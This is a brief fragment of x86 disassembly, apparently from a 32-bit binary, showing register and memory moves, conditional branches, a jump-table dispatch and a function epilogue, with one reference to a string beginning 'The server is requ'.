mov dword [ebp - 0x1ce0], eax
mov ecx, dword [ebp - 0x1ce4]
or ecx, dword [ebp - 0x1ce0]
je 0x1005af2c
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x84c], edx
jmp 0x1005af39
movzx eax, word [0x100a211c]
mov dword [ebp - 0x84c], eax
mov ecx, dword [ebp - 0x84c]
xor edx, edx
mov dword [0x100a2108], ecx
mov dword [0x100a210c], edx
movsx eax, word [0x100a20f0]
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0
je 0x1005af82
xor edx, edx
mov dword [ebp - 0x64], 4
mov dword [ebp - 0x60], edx
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x54]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x34]
sar eax, 5
cdq
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
movsx ecx, byte [str.y4The_server_is_requ]
movzx edx, byte [ebp - 1]
add ecx, edx
mov dword [ebp - 0x34], ecx
cmp dword [0x100a2128], 0
je 0x10071c24
mov eax, dword [0x100a2120]
mov dword [ebp - 0xed0], eax
jmp 0x10071c2e
movzx ecx, word [ebp - 0x10]
mov dword [ebp - 0xed0], ecx
mov dl, byte [ebp - 0xed0]
mov byte [0x100a203b], dl
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x60]
mov dword [ebp - 0x14c4], eax
mov dword [ebp - 0x14c0], ecx
cmp dword [ebp - 0x14c0], 0
ja 0x10071f97
jb 0x10071c68
cmp dword [ebp - 0x14c4], 4
ja 0x10071f97
mov edx, dword [ebp - 0x14c4]
mov dword [ebp - 0x2af0], edx
mov eax, dword [ebp - 0x2af0]
jmp dword [eax*4 + 0x10072144]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret